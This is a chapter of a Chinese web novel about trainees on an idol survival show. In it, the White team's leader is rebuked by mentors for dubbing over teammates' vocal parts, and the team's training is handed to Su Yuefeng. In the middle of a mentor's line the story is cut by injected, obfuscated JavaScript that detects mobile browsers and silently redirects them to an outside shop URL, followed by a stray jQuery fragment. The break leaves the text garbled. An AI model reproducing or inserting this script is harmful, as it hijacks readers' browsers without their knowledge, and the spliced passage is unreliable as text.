接下来的训练里,白队没有发生正面争执,却渐渐分成了泾渭分明的两部分。
韩竞带着吴向乐等三个人按照原定计划赶进度,先将整首歌的大致框架记下来,再利用剩余时间完善细节,苏月逢则带着许望竹和何知然慢慢学,把每一个动作都掌握再继续。
两边表面上依旧服从同一个队长的安排,练习时却很少再凑到一起,韩竞那边的音乐几乎没有停过,苏月逢身边则安静许多,只有喊拍子的声音不断响起。吴向乐几次朝他们的方向望去,最后还是留在了韩竞那边。
暂停拍摄的第二天中午,苏月逢吃完饭回到练习室,刚走到门口,便听见吴向乐与另外两名队员站在走廊里说话。
“要是跟着苏月逢的确学得快,可除了公演,正片里训练的镜头也很重要。”其中一人压低声音,“韩竞是队长又是C位,节目组想剪白队的故事线,肯定会围绕他来做。我们本来分班就靠后,再跑去跟一个第一期被剪得什么都不剩的人练,最后一起没镜头怎么办?”
另一人接话道:“他肯定得罪节目组了,昨天还出了那么大的事,现在连拍摄都停了,谁知道之后节目组会怎么处理他,我们还是听队长的吧。”
吴向乐低着头,片刻后轻声道:“我知道了,我不会凑过去的。”
苏月逢听到这里,轻轻笑了笑,故意将脚步放重了些。
三个人听见脚步声,转头看见苏月逢,脸上的表情都有些不自然,苏月逢像是什么都没有听见,从几人身边经过,径直推门走进了练习室。
他们的选择可以理解,第一次淘汰已经越来越近,对于排名靠后的练习生来说,比起舞台能不能做到最好,他们更怕直到离开节目都没被观众记住。
苏月逢没有试图争取他们,他对队长的位置没有兴趣,只要白队能够在公演前调整好状态,由谁站在前面安排训练都一样,可韩竞已经将所有不同意见视作对自己能力的质疑,几个急需镜头的练习生也认定跟着队长更加稳妥,此时开口,只会让训练上的分歧变成一场没有必要的权力之争。
他索性先带好愿意相信自己的两个人,如果韩竞始终不愿改变,他也不会让整支队伍陪着耗完剩下的时间。
两天过去了,节目组依然没有恢复拍摄,只通过广播通知所有练习生继续准备公演,其他安排等候后续通知。
角落里的摄像机始终黑着,韩竞等着抓住的训练镜头从未出现,失去镜头以后,每个人真实的性格反而更清楚地显露了。
到了第三天下午,他们开始尝试完整合练,训练成果的差距已经十分明显。
韩竞带着三个人囫囵吞下了整支舞,音乐从头到尾勉强能够跟完,动作与演唱却始终无法兼顾,合练时频频停下纠正动作,许望竹和何知然学得慢一些,掌握的部分却能够稳定完成,只欠缺一些熟练度。
韩竞显然也注意到了,脸色越来越难看,他没有调整原本的方法,反而愈发急着证明自己的方法没有问题,催促身边几个人加快掌握速度,语气也一次比一次严厉。
几个人在演唱部分再次出错后,他终于失去耐心,拿起分词表重新调整起来。
“你们现在太不稳了,动作幅度一大,声音就开始抖。”韩竞用笔在几处歌词旁边作出标记,“程立的rap我跟着唱,吴向乐这两句也加一层我的垫音,剩下几处容易出问题的地方,我都会帮着垫一下。”
吴向乐看着自己part的歌词,忍不住问:“那这里会变成我们合唱吗?”
“part和镜头还是你的,我只负责帮你把声音稳住。”韩竞头也没抬,“你要是能保证自己不出问题,我也不用替你唱。”
吴向乐的脸色不太好看,最终还是闭上了嘴,另外两人同样有些不太情愿,表示自己可以继续练习,韩竞却没有接受,只说黑队已经领先太多,自己没有时间再等他们慢慢调整。
“我是队长,总要先保证舞台别出问题。”他合上分词表,“只要白队赢了,每个人都能拿到助力值,不会少了你们的好处。”
几个人互相看了一眼,没有继续反驳。
他们原本因为镜头选择留在韩竞身边,现在也因为同样的顾虑不敢反对他,他们的个人part名义上没有被拿走,但真正到了舞台上,韩竞的声音却会从头到尾垫在他们下面,最后又还能留下多少存在感?
苏月逢将几人的神情收入眼底,没有立刻插话反对,吴向乐等人自己作出了选择,现在由他替他们反对韩竞,只会让矛盾变成两个人之间的争执,韩竞正在气头上,也不会认真考虑他的意见。
不过,他没有准备继续再等太久,队长的称呼可以继续留给韩竞,白队接下来的方向却需要及时摆正了。
很突然地,基地广播临时通知所有练习生前往录制大厅集合。
苏月逢跟着队友进去时,其他公演小组已经陆续到齐,七首歌的黑白两队分别坐在一起,舞台四周的摄像机依旧没有开启,导师席上却坐着杜衡,谢霜和岳羽。
等练习生全部落座,杜衡拿起话筒解释道:“原定的导师课受到这两天的安排影响暂时取消,但距离公演只剩下几天,我们几个导师商量了一下,觉得我们还是有必要来帮助你们把握一下训练进度。为了节省时间,今天把所有队伍集中到一起,按照歌曲轮流展示,来帮你们找找问题。”
“今天不拍摄,也不要求你们拿出完整舞台,练到什么程度就展示到什么程度。”谢霜接过话筒,“我们会根据每组现有的问题给出调整意见,之后几天该怎么安排,你们自己心里也能有数。”
导师们的出现算是给了练习生们一些安慰,台下的气氛稍微放松下来,工作人员很快给出了展示顺序,燎夜的黑白两队排在最后。
其他队伍依次上台,小组之间的进度差异不小,三名导师没有因为进度快慢直接作出评价,主要检查掌握程度和成员之间的配合,再根据各组的实际情况提出意见。
轮到燎夜时已经进行了两个多小时,季曜行带着黑队率先走上舞台。他们已经完成了整首歌的大致学习,虽然细节还没有完全磨合好,但已经给舞蹈加上了走位,每个人的part也都能稳定完成,可以算得上是一个正经舞台了。
展示结束后,导师们的表情能看出比较满意,给他们讲了些需要注意的问题,季曜行站在队伍最前方,将导师提出的建议一一记下。
黑队走下舞台,季曜行朝着苏月逢笑笑,韩竞脸色有点僵硬地带着白队站了起来。
白队的表演和黑队形成了让导师们纷纷皱眉的对比,无论是进度还是配合都相差很远,韩竞与跟随他训练的三个人动作频频出错,许望竹和何知然稍微稳定些,只是显得有些不太熟练,唯有苏月逢可以游刃有余地完成整支舞蹈。
vocal的问题更加明显,韩竞的声音频繁出现在其他成员的part里,起初还能替他们托住不稳的地方,到了后半程,他自己的气息也开始变乱,几个人叠在一起的声音显得更加杂乱了。
音乐结束,白队的成员站在舞台上等待点评。
谢霜皱眉:“你们白队没在一起训练?怎么舞蹈进度差这么多?”
韩竞喘着气回答:“因为有些成员跟不上进度,所以暂时分成两边,各自学完以后再合练。”
“分开练习没有问题,但最后需要在同一个舞台上表演,你们现在对动作掌握程度还有节奏的理解都不一致,继续各练各的只会越来越难合,需要加把劲合练了。”
韩竞解释道:“我们基础本来就比黑队差,慢慢学怕来不及,想着先把整首舞学完再……”
“你们现在的问题和黑队无关,”谢霜打断他说道,“黑队的能力之间也有差距,但他们的学习进度就把握的很好,没有人掉队,你们看上去似乎学完了整首歌,真正能够稳定完成的内容还不到一半。”
韩竞握着话筒的手指收紧了。
岳羽接过话茬问道:“刚才演唱时,为什么你们大部分成员的part里都有韩竞一起唱?”
“他们边唱边跳不太稳定,我帮忙加了一些垫音。”韩竞说道,“part都还是他们的,我只是想让现场听起来更稳。”
岳羽看向吴向乐:“这是你们商量后的结果吗?”
吴向乐迟疑了,低声道:“队长说这样比较稳妥。”
“我问的是你自己的想法。”岳羽问。
吴向乐攥着话筒,许久才道:“我想自己唱。”
另外两名被增加垫音的队员也表达了相同的意思,韩竞的脸色变得很难看,急忙开口道:“他们自己唱不稳,真到了公演现场出了问题,最后影响的是整支队伍,作为队长,我需要保证舞台效果。”
岳羽摇了摇头:“你可以陪他们练习,但每一句都垫音会增加你的负担,也会让他们越来越依赖垫唱。而且直白地说,你的vocal水平并不能支撑你全程垫,到后半段
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17865709|208341||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的时候飘得很厉害,叠在一起反而很难听。”
韩竞又想解释些什么,刚才一直没开口的杜衡拿起话筒打断了他。
“韩竞,你为什么想当队长?”
韩竞愣了一下:“我觉得自己有能力组织和监督队员们的训练,想要带领他们做出让观众喜爱的表演。”
“刚才展示的结果证明,你目前没有这方面的能力。”杜衡说道。
韩竞的脸色瞬间涨红。
“你学得比部分成员快,不代表你知道该怎么教会他们,”杜衡继续道,“演唱不稳定,你就把自己的声音加进去,,看似承担了更多内容,实际只是在不断用自己的表现代替他们,整支队伍的问题一个都没有解决。”
“我没有想抢他们的part!”韩竞急忙反驳,“是他们一直达不到舞台要求,我只能替他们分担。”
“你把所有问题都归结到了队员能力不足,可同样基础不够好的许望竹和何知然为什么表现尚可?”
韩竞转头看向站在队伍另一侧的苏月逢,积压几天的情绪在这一刻找到了出口。
“因为苏月逢从一开始就没有配合我的安排!”
苏月逢抬眼看向他。
“我要求所有人先学会完整的舞蹈,他却停在前面反复练,我才是队长,可他们有问题不来问我,全都围着苏月逢,他一边不肯配合,一边等着看我的训练出问题,现在当然显得他做什么都是对的。”
何知然忍不住道:“我们一开始问过你,你只让我们自己继续练啊。”
“难道我要为了一个人停下整支队伍的进度吗?”韩竞反问。
“可你带着他们学完整首歌,也没有比我们多掌握多少。”何知然说道,“现在连他们自己的part都要由你来唱。”
“我是在帮他们!”
吴向乐低着头小声说道:“但我们没有让你帮唱。”
四周练习生们的议论声渐渐变大,韩竞张口还想回击,杜衡沉声打断了他:“够了。”
录制大厅重新安静下来。
“队长需要统筹舞台,也要知道队员遇到了什么问题。你既没有让他们得到进步,也没有尊重他们对自己part的意见,现在的白队当然会分成两边。”
韩竞脸色难看,握着话筒站在原地,碍于导师发话,到底没有继续争辩。
杜衡将目光转向苏月逢:“这几天是你在带许望竹和何知然?”
“算不上带,只是一起练习。”苏月逢回答。
“白队剩下的训练,你有想法吗?”
“有。”苏月逢没有推辞,“现在重新调整还来得及。”
谢霜问:“整首舞你都已经学完了?”
“学完了,队形和每个人的部分也记得差不多了。”
杜衡低头与两名导师商量了几句,随后重新拿起话筒:“那接下来白队不要再分开训练,由苏月逢统一安排进度,分词先恢复原来的版本,需要垫音或者调整part,必须经过成员本人同意。”
韩竞终于忍不住道:“PD,我才是队长!”
“你是队长,才更应该配合能够解决问题的安排。”杜衡看向他,“队长这个位置暂时不动,C位也仍然由你担任,但如果下一次检查时,白队还是现在的状态,我们会要求你们重新选人。”
韩竞紧紧攥着手中的话筒,半晌才从牙缝里挤出一句:“知道了。”
苏月逢对这个结果没有异议。即使没有这场检查,他也准备在今天合练结束后将问题全部摊开,导师的介入只是替他省去了说服其他人的过程,也让韩竞暂时失去了阻拦的理由。只要所有人愿意按照同一个方向训练,他便有办法在剩余时间里将白队重新整合起来。
白队离开舞台后,杜衡简单总结了今天的检查情况,提醒所有队伍公演日期不一定会因为暂停拍摄而延后,便宣布解散。
练习生们陆续起身,录制大厅很快变得嘈杂,苏月逢跟着队友往外走,韩竞沉着脸大步走在最前面,吴向乐等人磨磨蹭蹭地落后几步,都不太想跟上他。
他们刚走到出口,闻澈忽然从外面逆着人群快步赶来。
“苏月逢!”
苏月逢停下脚步看向他,闻澈的呼吸有些急促,显然一路走得很快,他顾不上周围还有其他练习生,靠近了苏月逢的耳边捂着嘴小声说话,粗重的呼吸让苏月逢的脖子有些痒。
“节目组又发声明了。”